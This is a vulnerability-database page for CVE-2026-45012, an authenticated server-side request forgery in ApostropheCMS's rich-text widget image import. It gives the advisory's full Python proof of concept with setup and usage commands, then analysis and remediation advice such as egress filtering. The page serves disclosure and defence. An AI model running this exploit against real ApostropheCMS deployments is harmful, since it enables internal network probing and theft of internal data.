Skip to main content

ApostropheCMS EUVDEUVD-2026-36568

| CVE-2026-45012 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-14 https://github.com/apostrophecms/apostrophe GHSA-pr28-mf3q-qpg6
7.6
CVSS 3.1 · Vendor: https://github.com/apostrophecms/apostrophe
Share

Severity by source

Vendor (https://github.com/apostrophecms/apostrophe) PRIMARY
7.6 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Primary rating from Vendor (https://github.com/apostrophecms/apostrophe) · only source for this CVE.

CVSS VectorVendor: https://github.com/apostrophecms/apostrophe

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 19:01 vuln.today
Analysis Generated
May 14, 2026 - 19:01 vuln.today
CVE Published
May 14, 2026 - 18:26 nvd
HIGH 7.6

DescriptionCVE.org

Summary

ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

Details

The vulnerable flow is in the rich-text widget sanitizer:

  • packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js
  • packages/apostrophe/modules/@apostrophecms/area/index.js
  • packages/apostrophe/modules/@apostrophecms/widget-type/index.js

Relevant behavior:

  1. The backend accepts a widget payload containing import.html.
  2. It parses <img src=...> values from that HTML.
  3. For each image, it resolves the URL with:
  • new URL(src, input.import.baseUrl || self.apos.baseUrl)
  1. It then performs a server-side fetch(url).
  2. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

This is reachable during widget validation through:

  • POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft

PoC

  1. Start a local HTTP server with a valid PNG:
bash
     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
  1. Run the following Python PoC:
python
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
  1. Example usage:
bash
     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image
  1. Expected result:
  • The local listener receives:

GET /secret.png HTTP/1.1

  • The API response includes a rewritten Apostrophe image URL and imageIds.
  • The generated image URL can then be fetched through the application.

Additional note:

  • If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

Impact

An authenticated user with permission to submit or edit rich-text widget content can:

  • trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
  • perform blind or semi-blind internal port and service discovery
  • exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content

AnalysisAI

Authenticated server-side request forgery in ApostropheCMS allows low-privilege users to force the server to fetch arbitrary internal URLs through the rich-text widget import flow. Attackers with content editing permissions can exfiltrate internal data by crafting malicious image tags that trigger server-side fetch operations, with image-compatible responses being persisted and re-hosted by the application. Publicly available exploit code exists (full Python PoC published in GitHub advisory GHSA-pr28-mf3q-qpg6), enabling immediate weaponization. All versions through 4.29.0 are affected with no vendor-released patch identified at time of analysis, creating sustained exposure for organizations running this popular Node.js CMS.

Technical ContextAI

The vulnerability exists in ApostropheCMS's rich-text widget sanitization pipeline, specifically in the image import flow across three modules: @apostrophecms/rich-text-widget, @apostrophecms/area, and @apostrophecms/widget-type. The flaw maps to CWE-918 (Server-Side Request Forgery) and occurs because the backend accepts user-controlled HTML payloads via the widget validation API endpoint (/api/v1/@apostrophecms/area/validate-widget?aposMode=draft), parses <img src> attributes from import.html without proper validation, resolves URLs using JavaScript's URL constructor with attacker-controllable baseUrl parameters, and performs server-side fetch() operations to arbitrary destinations. The fetched response bodies are written to temporary files and passed through Apostrophe's standard image/attachment processing pipeline, causing the application to store and re-host the retrieved content. This server-side fetch mechanism was designed for legitimate HTML content import but lacks SSRF protections like URL allowlisting, protocol restrictions, or private IP range blocks. The package identifier pkg:npm/apostrophe confirms this affects the core npm package, not a plugin.

RemediationAI

No vendor-released patch identified at time of analysis for versions <=4.29.0. Organizations should monitor the official GitHub advisory (https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6) and repository for security updates. Until a patch is available, implement these SPECIFIC compensating controls: (1) Restrict rich-text widget editing permissions to only highly trusted users through Apostrophe's role-based access control - review all user accounts with 'edit' permissions on content types using rich-text widgets and remove unnecessary grants; note this reduces CMS functionality for untrusted contributors. (2) Deploy network-level egress filtering on the Apostrophe server to block outbound HTTP/HTTPS requests to RFC1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), link-local (169.254.0.0/16), and cloud metadata endpoints (169.254.169.254); configure firewall/security groups to allow only necessary external destinations; side effect is this may break legitimate external image imports if the import feature is actively used. (3) Implement application-level monitoring to detect suspicious POST requests to /api/v1/@apostrophecms/area/validate-widget containing 'import.html' payloads with non-standard baseUrl values - alert on requests with internal IP addresses or unexpected domains. (4) If import functionality is not required, consider monkey-patching or disabling the widget import flow at the module level, though this requires code modification and understanding of Apostrophe internals.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

EUVD-2026-36568 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy